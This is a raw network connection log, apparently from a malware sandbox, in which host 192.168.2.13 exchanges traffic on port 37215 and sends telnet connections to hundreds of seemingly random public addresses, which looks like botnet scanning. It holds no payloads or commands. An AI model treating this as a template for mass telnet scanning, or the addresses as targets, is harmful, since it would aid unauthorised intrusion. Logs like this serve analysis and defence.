Dec 3, 2024 21:47:26.954556942 CET	37215	37282	156.216.205.112	192.168.2.13
Dec 3, 2024 21:47:26.954571009 CET	37215	38488	156.135.136.138	192.168.2.13
Dec 3, 2024 21:47:26.958506107 CET	37215	54210	197.120.164.60	192.168.2.13
Dec 3, 2024 21:47:26.958537102 CET	37215	46660	41.37.81.88	192.168.2.13
Dec 3, 2024 21:47:26.958542109 CET	37215	60326	41.237.246.27	192.168.2.13
Dec 3, 2024 21:47:26.958559036 CET	37215	58938	156.4.15.233	192.168.2.13
Dec 3, 2024 21:47:26.958642006 CET	37215	51930	156.68.78.167	192.168.2.13
Dec 3, 2024 21:47:27.030442953 CET	37215	50368	156.55.59.248	192.168.2.13
Dec 3, 2024 21:47:27.030574083 CET	50368	37215	192.168.2.13	156.55.59.248
Dec 3, 2024 21:47:27.032715082 CET	37215	38510	156.135.136.138	192.168.2.13
Dec 3, 2024 21:47:27.032787085 CET	38510	37215	192.168.2.13	156.135.136.138
Dec 3, 2024 21:47:27.034244061 CET	37215	37304	156.216.205.112	192.168.2.13
Dec 3, 2024 21:47:27.034296989 CET	37304	37215	192.168.2.13	156.216.205.112
Dec 3, 2024 21:47:27.034993887 CET	37215	40458	197.134.166.191	192.168.2.13
Dec 3, 2024 21:47:27.035082102 CET	40458	37215	192.168.2.13	197.134.166.191
Dec 3, 2024 21:47:27.035377026 CET	37215	51952	156.68.78.167	192.168.2.13
Dec 3, 2024 21:47:27.035430908 CET	51952	37215	192.168.2.13	156.68.78.167
Dec 3, 2024 21:47:27.035545111 CET	37215	58960	156.4.15.233	192.168.2.13
Dec 3, 2024 21:47:27.035605907 CET	58960	37215	192.168.2.13	156.4.15.233
Dec 3, 2024 21:47:27.035890102 CET	37215	60348	41.237.246.27	192.168.2.13
Dec 3, 2024 21:47:27.035934925 CET	60348	37215	192.168.2.13	41.237.246.27
Dec 3, 2024 21:47:27.036712885 CET	37215	46682	41.37.81.88	192.168.2.13
Dec 3, 2024 21:47:27.036766052 CET	46682	37215	192.168.2.13	41.37.81.88
Dec 3, 2024 21:47:27.037492037 CET	37215	54232	197.120.164.60	192.168.2.13
Dec 3, 2024 21:47:27.037535906 CET	54232	37215	192.168.2.13	197.120.164.60
Dec 3, 2024 21:47:27.284635067 CET	40732	23	192.168.2.13	58.46.56.248
Dec 3, 2024 21:47:27.404628992 CET	23	40732	58.46.56.248	192.168.2.13
Dec 3, 2024 21:47:27.404743910 CET	40732	23	192.168.2.13	58.46.56.248
Dec 3, 2024 21:47:27.404845953 CET	40955	23	192.168.2.13	98.4.232.126
Dec 3, 2024 21:47:27.404869080 CET	40955	23	192.168.2.13	220.241.103.70
Dec 3, 2024 21:47:27.404870987 CET	40955	23	192.168.2.13	208.155.202.194
Dec 3, 2024 21:47:27.404871941 CET	40955	23	192.168.2.13	111.17.136.170
Dec 3, 2024 21:47:27.404871941 CET	40955	23	192.168.2.13	111.135.26.60
Dec 3, 2024 21:47:27.404881001 CET	40955	23	192.168.2.13	92.94.1.85
Dec 3, 2024 21:47:27.404881001 CET	40955	23	192.168.2.13	114.44.204.145
Dec 3, 2024 21:47:27.404881001 CET	40955	23	192.168.2.13	200.183.42.1
Dec 3, 2024 21:47:27.404881001 CET	40955	23	192.168.2.13	158.111.83.144
Dec 3, 2024 21:47:27.404881001 CET	40955	23	192.168.2.13	159.118.209.191
Dec 3, 2024 21:47:27.404886007 CET	40955	23	192.168.2.13	181.176.207.202
Dec 3, 2024 21:47:27.404886007 CET	40955	23	192.168.2.13	107.144.224.112
Dec 3, 2024 21:47:27.404886007 CET	40955	23	192.168.2.13	188.185.14.87
Dec 3, 2024 21:47:27.404886007 CET	40955	23	192.168.2.13	74.7.53.48
Dec 3, 2024 21:47:27.404891014 CET	40955	23	192.168.2.13	91.33.110.59
Dec 3, 2024 21:47:27.404891014 CET	40955	23	192.168.2.13	101.129.157.244
Dec 3, 2024 21:47:27.404891014 CET	40955	23	192.168.2.13	219.229.202.202
Dec 3, 2024 21:47:27.404891014 CET	40955	23	192.168.2.13	194.130.4.34
Dec 3, 2024 21:47:27.404910088 CET	40955	23	192.168.2.13	223.26.176.147
Dec 3, 2024 21:47:27.404912949 CET	40955	23	192.168.2.13	118.184.193.96
Dec 3, 2024 21:47:27.404913902 CET	40955	23	192.168.2.13	203.241.189.53
Dec 3, 2024 21:47:27.404910088 CET	40955	23	192.168.2.13	38.44.169.230
Dec 3, 2024 21:47:27.404910088 CET	40955	23	192.168.2.13	148.93.94.102
Dec 3, 2024 21:47:27.404910088 CET	40955	23	192.168.2.13	81.77.245.134
Dec 3, 2024 21:47:27.404920101 CET	40955	23	192.168.2.13	14.33.81.29
Dec 3, 2024 21:47:27.404920101 CET	40955	23	192.168.2.13	105.69.163.28
Dec 3, 2024 21:47:27.404921055 CET	40955	23	192.168.2.13	36.240.251.84
Dec 3, 2024 21:47:27.404921055 CET	40955	23	192.168.2.13	129.165.189.74
Dec 3, 2024 21:47:27.404921055 CET	40955	23	192.168.2.13	84.88.245.224
Dec 3, 2024 21:47:27.404921055 CET	40955	23	192.168.2.13	138.215.32.116
Dec 3, 2024 21:47:27.404925108 CET	40955	23	192.168.2.13	91.150.181.25
Dec 3, 2024 21:47:27.404925108 CET	40955	23	192.168.2.13	180.196.199.29
Dec 3, 2024 21:47:27.404925108 CET	40955	23	192.168.2.13	89.131.83.207
Dec 3, 2024 21:47:27.404925108 CET	40955	23	192.168.2.13	182.220.135.7
Dec 3, 2024 21:47:27.404925108 CET	40955	23	192.168.2.13	78.16.170.173
Dec 3, 2024 21:47:27.404925108 CET	40955	23	192.168.2.13	154.61.79.246
Dec 3, 2024 21:47:27.404925108 CET	40955	23	192.168.2.13	95.146.94.244
Dec 3, 2024 21:47:27.404925108 CET	40955	23	192.168.2.13	211.89.196.93
Dec 3, 2024 21:47:27.404932976 CET	40955	23	192.168.2.13	136.112.143.95
Dec 3, 2024 21:47:27.404932976 CET	40955	23	192.168.2.13	8.111.185.80
Dec 3, 2024 21:47:27.404932976 CET	40955	23	192.168.2.13	140.109.122.112
Dec 3, 2024 21:47:27.404932976 CET	40955	23	192.168.2.13	59.139.212.86
Dec 3, 2024 21:47:27.404932976 CET	40955	23	192.168.2.13	196.109.102.160
Dec 3, 2024 21:47:27.404938936 CET	40955	23	192.168.2.13	213.229.15.195
Dec 3, 2024 21:47:27.404946089 CET	40955	23	192.168.2.13	61.5.216.20
Dec 3, 2024 21:47:27.404947042 CET	40955	23	192.168.2.13	106.83.162.39
Dec 3, 2024 21:47:27.404946089 CET	40955	23	192.168.2.13	130.225.224.26
Dec 3, 2024 21:47:27.404947042 CET	40955	23	192.168.2.13	212.230.53.122
Dec 3, 2024 21:47:27.404947996 CET	40955	23	192.168.2.13	78.255.186.93
Dec 3, 2024 21:47:27.404947042 CET	40955	23	192.168.2.13	13.31.164.77
Dec 3, 2024 21:47:27.404947042 CET	40955	23	192.168.2.13	176.31.83.2
Dec 3, 2024 21:47:27.404947042 CET	40955	23	192.168.2.13	93.55.135.113
Dec 3, 2024 21:47:27.404947042 CET	40955	23	192.168.2.13	173.145.133.81
Dec 3, 2024 21:47:27.404951096 CET	40955	23	192.168.2.13	89.72.121.200
Dec 3, 2024 21:47:27.404954910 CET	40955	23	192.168.2.13	208.227.218.199
Dec 3, 2024 21:47:27.404956102 CET	40955	23	192.168.2.13	170.209.227.255
Dec 3, 2024 21:47:27.404958963 CET	40955	23	192.168.2.13	41.104.158.200
Dec 3, 2024 21:47:27.404969931 CET	40955	23	192.168.2.13	149.165.145.34
Dec 3, 2024 21:47:27.404969931 CET	40955	23	192.168.2.13	221.123.75.223
Dec 3, 2024 21:47:27.404977083 CET	40955	23	192.168.2.13	136.171.69.237
Dec 3, 2024 21:47:27.404978037 CET	40955	23	192.168.2.13	39.117.95.254
Dec 3, 2024 21:47:27.404984951 CET	40955	23	192.168.2.13	155.33.207.125
Dec 3, 2024 21:47:27.404992104 CET	40955	23	192.168.2.13	195.110.103.65
Dec 3, 2024 21:47:27.404992104 CET	40955	23	192.168.2.13	196.196.13.114
Dec 3, 2024 21:47:27.404992104 CET	40955	23	192.168.2.13	20.46.52.124
Dec 3, 2024 21:47:27.404993057 CET	40955	23	192.168.2.13	2.174.219.126
Dec 3, 2024 21:47:27.404999018 CET	40955	23	192.168.2.13	92.25.28.61
Dec 3, 2024 21:47:27.405006886 CET	40955	23	192.168.2.13	203.112.241.15
Dec 3, 2024 21:47:27.405006886 CET	40955	23	192.168.2.13	1.194.207.28
Dec 3, 2024 21:47:27.405009985 CET	40955	23	192.168.2.13	137.106.199.44
Dec 3, 2024 21:47:27.405013084 CET	40955	23	192.168.2.13	17.178.133.222
Dec 3, 2024 21:47:27.405021906 CET	40955	23	192.168.2.13	67.23.99.73
Dec 3, 2024 21:47:27.405021906 CET	40955	23	192.168.2.13	70.86.67.205
Dec 3, 2024 21:47:27.405033112 CET	40955	23	192.168.2.13	39.141.223.85
Dec 3, 2024 21:47:27.405035973 CET	40955	23	192.168.2.13	117.0.85.195
Dec 3, 2024 21:47:27.405044079 CET	40955	23	192.168.2.13	120.123.67.41
Dec 3, 2024 21:47:27.405044079 CET	40955	23	192.168.2.13	196.175.26.157
Dec 3, 2024 21:47:27.405049086 CET	40955	23	192.168.2.13	20.126.81.154
Dec 3, 2024 21:47:27.405054092 CET	40955	23	192.168.2.13	90.99.233.77
Dec 3, 2024 21:47:27.405055046 CET	40955	23	192.168.2.13	213.254.41.249
Dec 3, 2024 21:47:27.405056953 CET	40955	23	192.168.2.13	164.18.1.98
Dec 3, 2024 21:47:27.405076981 CET	40955	23	192.168.2.13	53.42.40.93
Dec 3, 2024 21:47:27.405076981 CET	40955	23	192.168.2.13	23.110.129.240
Dec 3, 2024 21:47:27.405090094 CET	40955	23	192.168.2.13	205.97.179.96
Dec 3, 2024 21:47:27.405113935 CET	40955	23	192.168.2.13	144.160.58.198
Dec 3, 2024 21:47:27.405118942 CET	40955	23	192.168.2.13	8.27.59.17
Dec 3, 2024 21:47:27.405118942 CET	40955	23	192.168.2.13	5.70.114.105
Dec 3, 2024 21:47:27.405118942 CET	40955	23	192.168.2.13	150.254.161.169
Dec 3, 2024 21:47:27.405122042 CET	40955	23	192.168.2.13	207.231.129.35
Dec 3, 2024 21:47:27.405122042 CET	40955	23	192.168.2.13	149.184.212.147
Dec 3, 2024 21:47:27.405133009 CET	40955	23	192.168.2.13	220.186.7.5
Dec 3, 2024 21:47:27.405133009 CET	40955	23	192.168.2.13	45.217.95.139
Dec 3, 2024 21:47:27.405133963 CET	40955	23	192.168.2.13	42.248.157.149
Dec 3, 2024 21:47:27.405133963 CET	40955	23	192.168.2.13	177.6.21.245
Dec 3, 2024 21:47:27.405133963 CET	40955	23	192.168.2.13	184.128.233.109
Dec 3, 2024 21:47:27.405134916 CET	40955	23	192.168.2.13	219.79.163.170
Dec 3, 2024 21:47:27.405134916 CET	40955	23	192.168.2.13	40.19.255.105
Dec 3, 2024 21:47:27.405142069 CET	40955	23	192.168.2.13	165.2.105.87
Dec 3, 2024 21:47:27.405144930 CET	40955	23	192.168.2.13	173.74.143.181
Dec 3, 2024 21:47:27.405145884 CET	40955	23	192.168.2.13	200.28.105.32
Dec 3, 2024 21:47:27.405148029 CET	40955	23	192.168.2.13	213.23.136.150
Dec 3, 2024 21:47:27.405149937 CET	40955	23	192.168.2.13	82.122.50.28
Dec 3, 2024 21:47:27.405149937 CET	40955	23	192.168.2.13	98.101.183.142
Dec 3, 2024 21:47:27.405149937 CET	40955	23	192.168.2.13	166.244.15.66
Dec 3, 2024 21:47:27.405150890 CET	40955	23	192.168.2.13	173.206.49.24
Dec 3, 2024 21:47:27.405155897 CET	40955	23	192.168.2.13	192.121.108.194
Dec 3, 2024 21:47:27.405164957 CET	40955	23	192.168.2.13	62.227.77.221
Dec 3, 2024 21:47:27.405164957 CET	40955	23	192.168.2.13	94.43.99.207
Dec 3, 2024 21:47:27.405167103 CET	40955	23	192.168.2.13	194.163.211.157
Dec 3, 2024 21:47:27.405167103 CET	40955	23	192.168.2.13	146.29.177.157
Dec 3, 2024 21:47:27.405168056 CET	40955	23	192.168.2.13	62.42.70.42
Dec 3, 2024 21:47:27.405167103 CET	40955	23	192.168.2.13	35.91.41.121
Dec 3, 2024 21:47:27.405167103 CET	40955	23	192.168.2.13	163.255.240.104
Dec 3, 2024 21:47:27.405178070 CET	40955	23	192.168.2.13	35.199.101.136
Dec 3, 2024 21:47:27.405183077 CET	40955	23	192.168.2.13	94.14.86.88
Dec 3, 2024 21:47:27.405184031 CET	40955	23	192.168.2.13	117.186.40.70
Dec 3, 2024 21:47:27.405184984 CET	40955	23	192.168.2.13	17.82.137.112
Dec 3, 2024 21:47:27.405184984 CET	40955	23	192.168.2.13	49.132.38.86
Dec 3, 2024 21:47:27.405188084 CET	40955	23	192.168.2.13	119.249.63.106
Dec 3, 2024 21:47:27.405188084 CET	40955	23	192.168.2.13	164.163.69.59
Dec 3, 2024 21:47:27.405189037 CET	40955	23	192.168.2.13	60.8.16.172
Dec 3, 2024 21:47:27.405189037 CET	40955	23	192.168.2.13	116.181.122.219
Dec 3, 2024 21:47:27.405193090 CET	40955	23	192.168.2.13	38.76.130.241
Dec 3, 2024 21:47:27.405193090 CET	40955	23	192.168.2.13	62.174.25.97
Dec 3, 2024 21:47:27.405198097 CET	40955	23	192.168.2.13	154.201.30.138
Dec 3, 2024 21:47:27.405215979 CET	40955	23	192.168.2.13	135.13.132.190
Dec 3, 2024 21:47:27.405215979 CET	40955	23	192.168.2.13	84.121.76.26
Dec 3, 2024 21:47:27.405215979 CET	40955	23	192.168.2.13	100.134.152.242
Dec 3, 2024 21:47:27.405217886 CET	40955	23	192.168.2.13	88.182.212.182
Dec 3, 2024 21:47:27.405215979 CET	40955	23	192.168.2.13	201.92.10.220
Dec 3, 2024 21:47:27.405217886 CET	40955	23	192.168.2.13	54.165.51.79
Dec 3, 2024 21:47:27.405215979 CET	40955	23	192.168.2.13	199.193.200.145
Dec 3, 2024 21:47:27.405215979 CET	40955	23	192.168.2.13	115.137.118.59
Dec 3, 2024 21:47:27.405217886 CET	40955	23	192.168.2.13	42.53.153.62
Dec 3, 2024 21:47:27.405220032 CET	40955	23	192.168.2.13	87.126.95.104
Dec 3, 2024 21:47:27.405220032 CET	40955	23	192.168.2.13	97.30.93.189
Dec 3, 2024 21:47:27.405224085 CET	40955	23	192.168.2.13	114.68.171.49
Dec 3, 2024 21:47:27.405224085 CET	40955	23	192.168.2.13	120.228.165.168
Dec 3, 2024 21:47:27.405230999 CET	40955	23	192.168.2.13	40.205.19.197
Dec 3, 2024 21:47:27.405230999 CET	40955	23	192.168.2.13	158.67.0.126
Dec 3, 2024 21:47:27.405236959 CET	40955	23	192.168.2.13	166.245.146.179
Dec 3, 2024 21:47:27.405244112 CET	40955	23	192.168.2.13	138.199.38.81
Dec 3, 2024 21:47:27.405244112 CET	40955	23	192.168.2.13	48.75.45.196
Dec 3, 2024 21:47:27.405247927 CET	40955	23	192.168.2.13	68.93.125.107
Dec 3, 2024 21:47:27.405256987 CET	40955	23	192.168.2.13	191.8.206.49
Dec 3, 2024 21:47:27.405256987 CET	40955	23	192.168.2.13	64.252.107.222
Dec 3, 2024 21:47:27.405258894 CET	40955	23	192.168.2.13	101.92.131.31
Dec 3, 2024 21:47:27.405258894 CET	40955	23	192.168.2.13	174.45.184.89
Dec 3, 2024 21:47:27.405258894 CET	40955	23	192.168.2.13	170.96.11.110
Dec 3, 2024 21:47:27.405271053 CET	40955	23	192.168.2.13	211.77.150.124
Dec 3, 2024 21:47:27.405277967 CET	40955	23	192.168.2.13	65.25.21.81
Dec 3, 2024 21:47:27.405287981 CET	40955	23	192.168.2.13	201.82.143.147
Dec 3, 2024 21:47:27.405288935 CET	40955	23	192.168.2.13	176.49.200.127
Dec 3, 2024 21:47:27.405303955 CET	40955	23	192.168.2.13	126.142.180.0
Dec 3, 2024 21:47:27.405307055 CET	40955	23	192.168.2.13	105.244.169.207
Dec 3, 2024 21:47:27.405307055 CET	40955	23	192.168.2.13	212.56.12.71
Dec 3, 2024 21:47:27.405320883 CET	40955	23	192.168.2.13	135.239.50.43
Dec 3, 2024 21:47:27.405320883 CET	40955	23	192.168.2.13	221.29.41.77
Dec 3, 2024 21:47:27.405323029 CET	40955	23	192.168.2.13	92.140.28.254
Dec 3, 2024 21:47:27.405333042 CET	40955	23	192.168.2.13	217.154.30.9
Dec 3, 2024 21:47:27.405335903 CET	40955	23	192.168.2.13	59.239.134.51
Dec 3, 2024 21:47:27.405340910 CET	40955	23	192.168.2.13	131.159.35.27
Dec 3, 2024 21:47:27.405340910 CET	40955	23	192.168.2.13	70.204.82.15
Dec 3, 2024 21:47:27.405354977 CET	40955	23	192.168.2.13	18.121.199.29
Dec 3, 2024 21:47:27.405361891 CET	40955	23	192.168.2.13	50.165.195.103
Dec 3, 2024 21:47:27.405369997 CET	40955	23	192.168.2.13	43.216.154.143
Dec 3, 2024 21:47:27.405374050 CET	40955	23	192.168.2.13	150.191.232.63
Dec 3, 2024 21:47:27.405375004 CET	40955	23	192.168.2.13	168.72.130.236
Dec 3, 2024 21:47:27.405374050 CET	40955	23	192.168.2.13	196.203.180.133
Dec 3, 2024 21:47:27.405379057 CET	40955	23	192.168.2.13	196.13.246.26
Dec 3, 2024 21:47:27.405385971 CET	40955	23	192.168.2.13	40.172.61.130
Dec 3, 2024 21:47:27.405385971 CET	40955	23	192.168.2.13	100.60.102.215
Dec 3, 2024 21:47:27.405390024 CET	40955	23	192.168.2.13	139.41.230.129
Dec 3, 2024 21:47:27.405405998 CET	40955	23	192.168.2.13	156.117.89.68
Dec 3, 2024 21:47:27.405405998 CET	40955	23	192.168.2.13	132.102.108.190
Dec 3, 2024 21:47:27.405410051 CET	40955	23	192.168.2.13	67.198.207.182
Dec 3, 2024 21:47:27.405416012 CET	40955	23	192.168.2.13	65.191.152.208
Dec 3, 2024 21:47:27.405416012 CET	40955	23	192.168.2.13	116.220.123.108
Dec 3, 2024 21:47:27.405425072 CET	40955	23	192.168.2.13	174.79.14.146
Dec 3, 2024 21:47:27.405432940 CET	40955	23	192.168.2.13	211.172.131.170
Dec 3, 2024 21:47:27.405446053 CET	40955	23	192.168.2.13	67.180.210.182
Dec 3, 2024 21:47:27.405457973 CET	40955	23	192.168.2.13	73.146.236.204
Dec 3, 2024 21:47:27.405459881 CET	40955	23	192.168.2.13	5.163.37.83
Dec 3, 2024 21:47:27.405462980 CET	40955	23	192.168.2.13	162.39.17.237
Dec 3, 2024 21:47:27.405466080 CET	40955	23	192.168.2.13	148.159.240.51
Dec 3, 2024 21:47:27.405467987 CET	40955	23	192.168.2.13	121.150.57.46
Dec 3, 2024 21:47:27.405483007 CET	40955	23	192.168.2.13	113.70.222.10
Dec 3, 2024 21:47:27.405488014 CET	40955	23	192.168.2.13	99.44.128.234
Dec 3, 2024 21:47:27.405500889 CET	40955	23	192.168.2.13	164.185.117.132
Dec 3, 2024 21:47:27.405503988 CET	40955	23	192.168.2.13	118.116.16.32
Dec 3, 2024 21:47:27.405513048 CET	40955	23	192.168.2.13	41.213.241.127
Dec 3, 2024 21:47:27.405514002 CET	40955	23	192.168.2.13	164.0.129.124
Dec 3, 2024 21:47:27.405528069 CET	40955	23	192.168.2.13	197.212.115.92
Dec 3, 2024 21:47:27.405531883 CET	40955	23	192.168.2.13	50.231.193.51
Dec 3, 2024 21:47:27.405535936 CET	40955	23	192.168.2.13	93.87.3.203
Dec 3, 2024 21:47:27.405539036 CET	40955	23	192.168.2.13	180.118.222.176
Dec 3, 2024 21:47:27.405550003 CET	40955	23	192.168.2.13	87.95.143.168
Dec 3, 2024 21:47:27.405555964 CET	40955	23	192.168.2.13	40.78.36.84
Dec 3, 2024 21:47:27.405558109 CET	40955	23	192.168.2.13	109.153.147.197
Dec 3, 2024 21:47:27.405560970 CET	40955	23	192.168.2.13	216.247.138.45
Dec 3, 2024 21:47:27.405563116 CET	40955	23	192.168.2.13	87.228.65.195
Dec 3, 2024 21:47:27.405571938 CET	40955	23	192.168.2.13	94.177.169.65
Dec 3, 2024 21:47:27.405575991 CET	40955	23	192.168.2.13	88.66.196.21
Dec 3, 2024 21:47:27.405580997 CET	40955	23	192.168.2.13	173.249.171.160
Dec 3, 2024 21:47:27.405589104 CET	40955	23	192.168.2.13	24.64.226.34
Dec 3, 2024 21:47:27.405591965 CET	40955	23	192.168.2.13	60.115.167.179
Dec 3, 2024 21:47:27.405605078 CET	40955	23	192.168.2.13	178.245.78.208
Dec 3, 2024 21:47:27.405616999 CET	40955	23	192.168.2.13	115.70.217.92
Dec 3, 2024 21:47:27.405625105 CET	40955	23	192.168.2.13	159.179.171.198
Dec 3, 2024 21:47:27.405627012 CET	40955	23	192.168.2.13	50.100.152.182
Dec 3, 2024 21:47:27.405627966 CET	40955	23	192.168.2.13	211.132.240.193
Dec 3, 2024 21:47:27.405637980 CET	40955	23	192.168.2.13	194.60.91.194
Dec 3, 2024 21:47:27.405643940 CET	40955	23	192.168.2.13	39.4.0.10
Dec 3, 2024 21:47:27.405651093 CET	40955	23	192.168.2.13	124.235.2.29
Dec 3, 2024 21:47:27.405658007 CET	40955	23	192.168.2.13	69.80.83.198
Dec 3, 2024 21:47:27.405672073 CET	40955	23	192.168.2.13	148.58.83.233
Dec 3, 2024 21:47:27.405672073 CET	40955	23	192.168.2.13	126.144.14.187
Dec 3, 2024 21:47:27.405689955 CET	40955	23	192.168.2.13	151.89.189.43
Dec 3, 2024 21:47:27.405698061 CET	40955	23	192.168.2.13	77.184.175.26
Dec 3, 2024 21:47:27.405703068 CET	40955	23	192.168.2.13	35.211.35.210
Dec 3, 2024 21:47:27.405713081 CET	40955	23	192.168.2.13	138.212.4.10
Dec 3, 2024 21:47:27.405719995 CET	40955	23	192.168.2.13	144.161.84.81
Dec 3, 2024 21:47:27.405725002 CET	40955	23	192.168.2.13	13.181.65.71
Dec 3, 2024 21:47:27.405725002 CET	40955	23	192.168.2.13	182.186.113.246
Dec 3, 2024 21:47:27.405730963 CET	40955	23	192.168.2.13	222.19.206.5
Dec 3, 2024 21:47:27.405733109 CET	40955	23	192.168.2.13	152.68.58.146
Dec 3, 2024 21:47:27.405739069 CET	40955	23	192.168.2.13	183.223.35.193
Dec 3, 2024 21:47:27.405750036 CET	40955	23	192.168.2.13	87.55.230.71
Dec 3, 2024 21:47:27.405754089 CET	40955	23	192.168.2.13	77.98.182.31
Dec 3, 2024 21:47:27.405764103 CET	40955	23	192.168.2.13	171.160.86.121
Dec 3, 2024 21:47:27.405766964 CET	40955	23	192.168.2.13	38.49.139.171
Dec 3, 2024 21:47:27.405770063 CET	40955	23	192.168.2.13	112.160.198.124
Dec 3, 2024 21:47:27.405771017 CET	40955	23	192.168.2.13	175.235.13.96
Dec 3, 2024 21:47:27.405774117 CET	40955	23	192.168.2.13	48.103.229.139
Dec 3, 2024 21:47:27.405778885 CET	40955	23	192.168.2.13	107.11.190.252
Dec 3, 2024 21:47:27.405785084 CET	40955	23	192.168.2.13	165.107.244.210
Dec 3, 2024 21:47:27.405792952 CET	40955	23	192.168.2.13	141.28.176.35
Dec 3, 2024 21:47:27.405802965 CET	40955	23	192.168.2.13	66.191.224.128
Dec 3, 2024 21:47:27.405802965 CET	40955	23	192.168.2.13	23.143.162.16
Dec 3, 2024 21:47:27.405803919 CET	40955	23	192.168.2.13	140.124.46.50
Dec 3, 2024 21:47:27.405808926 CET	40955	23	192.168.2.13	140.153.8.249
Dec 3, 2024 21:47:27.405812979 CET	40955	23	192.168.2.13	177.33.243.74
Dec 3, 2024 21:47:27.405853987 CET	40955	23	192.168.2.13	107.223.144.205
Dec 3, 2024 21:47:27.405853987 CET	40955	23	192.168.2.13	107.207.147.139
Dec 3, 2024 21:47:27.405857086 CET	40955	23	192.168.2.13	70.238.154.62
Dec 3, 2024 21:47:27.405857086 CET	40955	23	192.168.2.13	58.113.253.107
Dec 3, 2024 21:47:27.405857086 CET	40955	23	192.168.2.13	36.233.127.113
Dec 3, 2024 21:47:27.405857086 CET	40955	23	192.168.2.13	81.181.127.24
Dec 3, 2024 21:47:27.405863047 CET	40955	23	192.168.2.13	136.218.152.92
Dec 3, 2024 21:47:27.405864954 CET	40955	23	192.168.2.13	74.210.115.143
Dec 3, 2024 21:47:27.405870914 CET	40955	23	192.168.2.13	217.79.62.233
Dec 3, 2024 21:47:27.405873060 CET	40955	23	192.168.2.13	101.154.253.17
Dec 3, 2024 21:47:27.405886889 CET	40955	23	192.168.2.13	155.200.207.210
Dec 3, 2024 21:47:27.405886889 CET	40955	23	192.168.2.13	87.225.184.199
Dec 3, 2024 21:47:27.405894041 CET	40955	23	192.168.2.13	182.216.43.190
Dec 3, 2024 21:47:27.405899048 CET	40955	23	192.168.2.13	88.117.94.61
Dec 3, 2024 21:47:27.405900955 CET	40955	23	192.168.2.13	44.191.119.72
Dec 3, 2024 21:47:27.405906916 CET	40955	23	192.168.2.13	115.13.96.41
Dec 3, 2024 21:47:27.405917883 CET	40955	23	192.168.2.13	183.188.136.136
Dec 3, 2024 21:47:27.405921936 CET	40955	23	192.168.2.13	223.31.165.197
Dec 3, 2024 21:47:27.405925989 CET	40955	23	192.168.2.13	32.18.17.67
Dec 3, 2024 21:47:27.405925989 CET	40955	23	192.168.2.13	115.179.103.94
Dec 3, 2024 21:47:27.405939102 CET	40955	23	192.168.2.13	67.27.233.171
Dec 3, 2024 21:47:27.405941010 CET	40955	23	192.168.2.13	9.85.105.155
Dec 3, 2024 21:47:27.405946970 CET	40955	23	192.168.2.13	40.112.132.74
Dec 3, 2024 21:47:27.405951977 CET	40955	23	192.168.2.13	98.224.176.188
Dec 3, 2024 21:47:27.405965090 CET	40955	23	192.168.2.13	203.39.59.46
Dec 3, 2024 21:47:27.405966997 CET	40955	23	192.168.2.13	151.38.5.79
Dec 3, 2024 21:47:27.405971050 CET	40955	23	192.168.2.13	115.9.136.107
Dec 3, 2024 21:47:27.405972958 CET	40955	23	192.168.2.13	186.239.60.168
Dec 3, 2024 21:47:27.405972958 CET	40955	23	192.168.2.13	23.253.202.196
Dec 3, 2024 21:47:27.405972958 CET	40955	23	192.168.2.13	86.114.248.31
Dec 3, 2024 21:47:27.405972958 CET	40955	23	192.168.2.13	211.145.181.35
Dec 3, 2024 21:47:27.405982971 CET	40955	23	192.168.2.13	50.193.171.115
Dec 3, 2024 21:47:27.405985117 CET	40955	23	192.168.2.13	220.252.15.15
Dec 3, 2024 21:47:27.405985117 CET	40955	23	192.168.2.13	141.25.12.164
Dec 3, 2024 21:47:27.405987024 CET	40955	23	192.168.2.13	63.170.135.26
Dec 3, 2024 21:47:27.405987024 CET	40955	23	192.168.2.13	213.250.80.93
Dec 3, 2024 21:47:27.405987978 CET	40955	23	192.168.2.13	102.177.5.84
Dec 3, 2024 21:47:27.405994892 CET	40955	23	192.168.2.13	219.57.156.90
Dec 3, 2024 21:47:27.406006098 CET	40955	23	192.168.2.13	206.60.162.86
Dec 3, 2024 21:47:27.406017065 CET	40955	23	192.168.2.13	45.23.130.117
Dec 3, 2024 21:47:27.406017065 CET	40955	23	192.168.2.13	9.124.172.66
Dec 3, 2024 21:47:27.406018972 CET	40955	23	192.168.2.13	142.194.228.180
Dec 3, 2024 21:47:27.406028032 CET	40955	23	192.168.2.13	160.55.71.29
Dec 3, 2024 21:47:27.406038046 CET	40955	23	192.168.2.13	117.233.41.46
Dec 3, 2024 21:47:27.406045914 CET	40955	23	192.168.2.13	120.123.185.33
Dec 3, 2024 21:47:27.406045914 CET	40955	23	192.168.2.13	108.225.199.182
Dec 3, 2024 21:47:27.406047106 CET	40955	23	192.168.2.13	63.132.54.144
Dec 3, 2024 21:47:27.406045914 CET	40955	23	192.168.2.13	41.154.229.206
Dec 3, 2024 21:47:27.406045914 CET	40955	23	192.168.2.13	101.246.161.113
Dec 3, 2024 21:47:27.406054020 CET	40955	23	192.168.2.13	69.48.111.221
Dec 3, 2024 21:47:27.406064034 CET	40955	23	192.168.2.13	120.98.149.43
Dec 3, 2024 21:47:27.406065941 CET	40955	23	192.168.2.13	205.35.30.126
Dec 3, 2024 21:47:27.406078100 CET	40955	23	192.168.2.13	200.59.202.61
Dec 3, 2024 21:47:27.406080961 CET	40955	23	192.168.2.13	96.231.247.191
Dec 3, 2024 21:47:27.406081915 CET	40955	23	192.168.2.13	90.29.132.51
Dec 3, 2024 21:47:27.406081915 CET	40955	23	192.168.2.13	140.104.249.66
Dec 3, 2024 21:47:27.406081915 CET	40955	23	192.168.2.13	59.240.126.155
Dec 3, 2024 21:47:27.406081915 CET	40955	23	192.168.2.13	65.20.212.89
Dec 3, 2024 21:47:27.406091928 CET	40955	23	192.168.2.13	88.168.3.216
Dec 3, 2024 21:47:27.406095028 CET	40955	23	192.168.2.13	91.163.60.140
Dec 3, 2024 21:47:27.406096935 CET	40955	23	192.168.2.13	221.73.172.160
Dec 3, 2024 21:47:27.406099081 CET	40955	23	192.168.2.13	90.52.114.161
Dec 3, 2024 21:47:27.406099081 CET	40955	23	192.168.2.13	156.254.184.35
Dec 3, 2024 21:47:27.406107903 CET	40955	23	192.168.2.13	73.138.108.70
Dec 3, 2024 21:47:27.406114101 CET	40955	23	192.168.2.13	38.123.160.117
Dec 3, 2024 21:47:27.406114101 CET	40955	23	192.168.2.13	108.249.222.123
Dec 3, 2024 21:47:27.406117916 CET	40955	23	192.168.2.13	119.28.113.176
Dec 3, 2024 21:47:27.406117916 CET	40955	23	192.168.2.13	76.251.24.26
Dec 3, 2024 21:47:27.406120062 CET	40955	23	192.168.2.13	213.55.194.92
Dec 3, 2024 21:47:27.406117916 CET	40955	23	192.168.2.13	49.39.208.233
